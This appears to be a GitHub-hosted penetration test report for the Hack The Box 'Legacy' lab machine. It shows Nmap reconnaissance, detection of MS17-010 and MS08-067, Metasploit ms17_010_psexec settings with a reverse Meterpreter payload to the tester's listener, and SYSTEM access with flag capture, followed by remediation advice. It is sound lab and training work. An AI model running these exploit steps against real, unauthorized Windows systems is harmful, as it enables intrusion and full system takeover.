Skip to content
dalton-wright033Public

About

Penetration write up for Hack the Box Legacy machine

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 

Repository files navigation

Hack The Box — Legacy

Penetration Testing Report

Field Details
Platform Hack The Box
Machine Legacy
Target IP 10.129.227.181
Hostname LEGACY
Operating system Microsoft Windows XP (identified by Nmap and Metasploit)
Assessment date November 13, 2026
Assessment type Authorized lab-based penetration test
Outcome Full system compromise — NT AUTHORITY\SYSTEM

Scope: This report documents testing of a deliberately vulnerable Hack The Box machine in an authorized lab environment. Findings reflect the target's configuration during this session and should not be generalized to other systems without validation.

1. Executive Summary

The Legacy machine was compromised through a vulnerability in its Windows file-sharing service. The target was running Windows XP and exposed the Server Message Block (SMB) service to the network. A vulnerability scan identified two known weaknesses that could potentially allow an attacker to run code remotely.

Testing confirmed that one of these weaknesses, MS17-010, could be exploited without providing a username or password. Successful exploitation granted the tester the Windows SYSTEM security context, allowing complete control of the local machine. Access was verified by querying the session's identity and retrieving the user and root flags.

In a business environment, a weakness of this severity could allow an attacker with access to the affected service to take over a computer, alter or steal data, disrupt operations, or use the compromised host as a foothold for further attacks. The primary recommendations are to replace unsupported operating systems, apply relevant security updates where possible, disable SMBv1, and restrict SMB exposure to systems that require it.

2. Scope and Methodology

The assessment focused on the single HTB host 10.129.227.181. Testing followed an evidence-driven workflow:

  1. Identify exposed services and the target operating system.
  2. Scan for vulnerabilities relevant to those services.
  3. Attempt supplementary SMB enumeration.
  4. Select and execute a candidate exploit.
  5. Verify the resulting security context.
  6. Collect lab-specific proof of compromise.

The report distinguishes scanner detections from vulnerabilities demonstrated through exploitation.

3. Reconnaissance

3.1 Initial Service Scan

The initial scan used Nmap's default scripts and service version detection:

nmap -sC -sV 10.129.227.181 > nmap_scan
cat nmap_scan

Relevant output:

Nmap scan report for 10.129.227.181
Host is up (0.082s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP

Open TCP ports observed:

Port Service Significance
135/tcp Microsoft RPC Windows remote procedure call services
139/tcp NetBIOS Session Service Legacy Windows networking
445/tcp SMB Windows file sharing and remote service functionality; primary attack surface

The script results provided additional host and SMB configuration information:

NetBIOS name: LEGACY
OS: Windows XP (Windows 2000 LAN Manager)
Computer name: legacy
Workgroup: HTB

smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)

smb2-time: Protocol negotiation failed (SMB2)

Nmap identified the host as Windows XP. The SMB2 negotiation failure was consistent with a legacy SMB implementation; it did not, by itself, prove which SMB dialects were enabled. SMB signing was reported disabled, which can increase exposure to certain relay and interception scenarios under suitable conditions. These findings guided further investigation but were not treated as evidence of successful compromise.

The scan covered Nmap's default TCP port set rather than all 65,535 TCP ports.

3.2 Vulnerability Scan

The next step used Nmap's vuln script category:

nmap --script vuln 10.129.227.181

Two findings were particularly relevant:

smb-vuln-ms17-010:
  VULNERABLE:
  Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
  State: VULNERABLE
  IDs: CVE:CVE-2017-0143

smb-vuln-ms08-067:
  VULNERABLE:
  Microsoft Windows system vulnerable to remote code execution (MS08-067)
  State: VULNERABLE
  IDs: CVE:CVE-2008-4250
Finding Identifier Scan result Exploitation status
Microsoft SMBv1 vulnerabilities MS17-010; Nmap reported CVE-2017-0143 Vulnerable Successfully exploited
Windows Server service RPC vulnerability MS08-067; CVE-2008-4250 Vulnerable Not exploited during this test

The scan also returned false for smb-vuln-ms10-054, an error for smb-vuln-ms10-061, and access denied for the Samba CVE-2012-1182 check. Those results do not constitute additional confirmed vulnerabilities.

Interpretation: Nmap's positive detection of MS08-067 identified a second potential attack path. Only MS17-010 was validated through successful exploitation. MS17-010 covers multiple related SMB vulnerabilities; the Nmap finding alone does not establish which individual vulnerability in that bulletin was used internally by the selected Metasploit module.

3.3 SMB Share Enumeration Attempt

An attempt was made to list SMB shares using smbclient:

smbclient -L //10.129.227.181

Output:

Password for [WORKGROUP\kali]:
session setup failed: NT_STATUS_INVALID_PARAMETER

The command did not enumerate any shares. The failure occurred during session setup and should not be interpreted as evidence that no shares exist or that authentication was denied. An SMB dialect or session compatibility issue was considered plausible given the age of the target, but it was not confirmed through subsequent troubleshooting in the captured session.

The unsuccessful share listing did not prevent exploitation of the separately detected SMB vulnerability.

4. Vulnerability Analysis

4.1 Primary Finding — MS17-010 (SMBv1 Remote Code Execution)

Severity: Critical (demonstrated unauthenticated SYSTEM-level compromise)

Affected component: Microsoft SMBv1 implementation on the Windows XP target
Evidence: Nmap smb-vuln-ms17-010 detection and successful execution of the Metasploit windows/smb/ms17_010_psexec module

MS17-010 is a Microsoft security bulletin covering vulnerabilities in SMBv1, some of which permit remote code execution. SMB was accessible on TCP port 445, and the target was identified as Windows XP. The vulnerability scan reported the host as vulnerable, supporting a targeted exploitation attempt.

The subsequent exploit output showed successful memory manipulation, execution of a payload through a Windows service, and establishment of a reverse Meterpreter session with SYSTEM privileges. No SMB username or password was configured for the exploit.

Potential impact: An attacker able to reach the vulnerable service could execute code with highly privileged access, compromise system integrity and confidentiality, and disrupt availability.

4.2 Additional Finding — MS08-067 (Windows Server Service RPC)

Status: Scanner-reported; not exploited

Nmap also reported the target as vulnerable to MS08-067 (CVE-2008-4250). This vulnerability concerns the Windows Server service's handling of specially crafted RPC requests during path canonicalization and can result in remote code execution on affected systems.

Because this technique was not attempted, the report records it as an additional detected exposure rather than a demonstrated compromise path. It should nevertheless be addressed during remediation.

5. Exploitation and Initial Access

5.1 Metasploit Configuration

The following Metasploit module was selected:

exploit/windows/smb/ms17_010_psexec

Recorded options:

Setting Value
RHOSTS 10.129.227.181
RPORT 445
SHARE ADMIN$
SMBUser / SMBPass Not configured
Payload windows/meterpreter/reverse_tcp
LHOST 10.10.14.90
LPORT 4444
Exploit target Automatic

The use of ADMIN$ here was part of the module's configured execution mechanism, not proof that anonymous browsing of that share was available.

5.2 Exploit Execution

The module was executed from the Metasploit console:

msf exploit(windows/smb/ms17_010_psexec) > run

Key output:

[*] Started reverse TCP handler on 10.10.14.90:4444
[*] 10.129.227.181:445 - Target OS: Windows 5.1
[+] 10.129.227.181:445 - Successfully Leaked Transaction!
[*] 10.129.227.181:445 - Built a write-what-where primitive...
[+] 10.129.227.181:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.129.227.181:445 - Uploading payload... lhPzXIXs.exe
[*] 10.129.227.181:445 - Created \lhPzXIXs.exe...
[+] 10.129.227.181:445 - Service started successfully...
[*] Sending stage (207035 bytes) to 10.129.227.181
[*] 10.129.227.181:445 - Deleting \lhPzXIXs.exe...
[*] Meterpreter session 1 opened (10.10.14.90:4444 -> 10.129.227.181:1032) at 2026-11-13 18:25:09 -0600

The module reported a successful transaction leak and the creation of a write-what-where memory primitive, followed by an overwrite that obtained a SYSTEM session. It then uploaded a payload executable, started it using a service, and reported deletion of the executable. The opening of the Meterpreter session confirmed that the target connected back to the listener.

These actions demonstrate both a privilege-impacting exploit and code execution on the target. The payload's reported deletion should not be treated as proof that every artifact of exploitation was removed.

6. Post-Exploitation and Proof of Compromise

6.1 Session Identity

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

This command independently verified the security context reported by the exploit module. The session ran as NT AUTHORITY\SYSTEM; therefore, no separate privilege escalation step was required.

6.2 Administrator Desktop — Root Flag

meterpreter > pwd
C:\Documents and Settings\Administrator\Desktop

meterpreter > cat root.txt
[REDACTED]

6.3 User Desktop — User Flag

meterpreter > pwd
C:\Documents and Settings\john\Desktop

meterpreter > cat user.txt
[REDACTED] 

Both HTB flags were successfully retrieved. The pwd output records the working directory at each step; the transcript does not include the commands used to change between directories.

Proof Evidence Result
Elevated identity getuid → NT AUTHORITY\SYSTEM Verified
Root flag Administrator\Desktop\root.txt Retrieved
User flag john\Desktop\user.txt Retrieved

Flag handling: The values above have been redacted.

7. Attack Path Summary

Nmap service discovery
    |
    v
Windows XP host with SMB exposed on TCP/445
    |
    v
Nmap vulnerability scripts detect MS17-010 and MS08-067
    |
    v
MS17-010 selected for exploitation
    |
    v
Metasploit windows/smb/ms17_010_psexec
    |
    v
Memory exploitation and payload execution
    |
    v
Reverse Meterpreter session established
    |
    v
NT AUTHORITY\SYSTEM verified
    |
    v
User and root flags retrieved

The successful chain required no supplied credentials and no second-stage privilege escalation. MS08-067 was identified as an additional vulnerability but was not part of the demonstrated path.

8. Remediation Recommendations

Priority Recommendation Rationale
Critical Replace Windows XP with a supported operating system. Unsupported operating systems cannot be relied upon for ongoing security maintenance and increase long-term exposure.
Critical Apply all relevant Microsoft SMB/Server service security fixes where supported, including fixes for MS17-010 and MS08-067. Addresses the vulnerabilities detected during this assessment. For Windows XP, migration is the durable solution.
High Disable SMBv1 where operationally possible. Removes an obsolete protocol associated with serious security weaknesses.
High Restrict inbound TCP 445, 139, and relevant RPC access to explicitly authorized systems. Reduces the number of hosts able to reach the vulnerable services.
High Segment legacy equipment from user workstations, servers, and other sensitive assets pending replacement. Limits the reach and consequences of a compromise.
Medium Monitor unexpected remote service creation, suspicious SMB activity, and unusual outbound connections. Improves the chance of detecting exploitation and follow-on activity.
Medium Rescan after remediation and perform targeted validation. Confirms that the exposed attack paths have been addressed.

Operational note: Where a legacy device cannot immediately be retired, network isolation and tight access controls may reduce exposure, but they do not correct the underlying software vulnerability.

9. Key Takeaways

This machine demonstrated how an exposed legacy Windows service can provide a direct path from network access to complete system compromise. Nmap gave enough information to identify the operating system and narrow the attack surface, and vulnerability scripts identified two plausible remote code execution paths. The MS17-010 finding was then validated through a successful Metasploit exploit and an independently verified SYSTEM session.

Several distinctions mattered during the assessment:

  • A vulnerability scan is useful for forming an attack hypothesis, but successful exploitation provides stronger evidence than a scanner result alone.
  • The failed smbclient share-listing attempt did not demonstrate that SMB exploitation was impossible; enumeration and vulnerability exploitation test different conditions.
  • The exploit obtained SYSTEM privileges at initial access, so it would be inaccurate to describe a separate privilege escalation technique.
  • MS08-067 remained a detected but unexploited finding and was not included in the successful attack chain.

The machine was fully compromised within the lab's scope, with both user and root flags obtained.

10. References


*This report is a record of authorized security testing conducted against the Hack The Box Legacy machine. Use of LLM technology limited to note-taking and documentation only. *

About

Penetration write up for Hack the Box Legacy machine

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors